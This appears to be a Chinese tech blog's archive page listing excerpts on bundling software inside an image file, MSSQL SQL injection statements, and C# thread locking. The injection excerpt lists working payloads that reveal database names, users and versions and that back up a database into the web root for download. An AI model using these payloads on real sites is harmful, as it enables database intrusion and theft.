存档
2010年12月 的存档
如何把压缩文件变成图片文件,图片后缀改成rar就可以解压
把自己喜欢的小软件捆绑到图片上!下面就是步骤:
第一步:准备一张图片和将要合并入图片的软件并将他们存放在同一个文件夹内;
第二步:将软件先压缩起来变成RAR文件(用WinRAR添加为压缩文件)或者ZIP文件;
第三步:开始→运行→键入”cmd”命令 阅读全文…
SQL注入语句
1、返回的是连接的数据库名
and db_name()>0
2、作用是获取连接用户名
and user>0
3、将数据库备份到Web目录下面
;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;–
4、显示SQL系统版本
and 1=(select @@VERSION) 或and 1=convert(int,@@version)– 阅读全文…
C#中使用Monitor类、Lock和Mutex类来同步多线程的执行
在多线程中,为了使数据保持一致性必须要对数据或是访问数据的函数加锁,在数据库中这是很常见的,但是在程序中由于大部分都是单线程的程序,所以没有加锁的必要,但是在多线程中,为了保持数据的同步,一定要加锁,好在Framework中已经为我们提供了三个加锁的机制,分别是Monitor类、Lock关键字和Mutex类。
其中Lock关键词用法比较简单,Monitor类和Lock的用法差不多。这两个都是锁定数据或是锁定被调用的函数。而Mutex则多用于锁定多线程间的同步调用。简单的说,Monitor和Lock多用于锁定被调用端,而Mutex则多用锁定调用端。
例如下面程序:由于这种程序都是毫秒级的,所以运行下面的程序可能在不同的机器上有不同的结果,在同一台机器上不同时刻运行也有不同的结果,我的测试环境为vs2005, windowsXp , CPU3.0 , 1 G monery。 阅读全文…
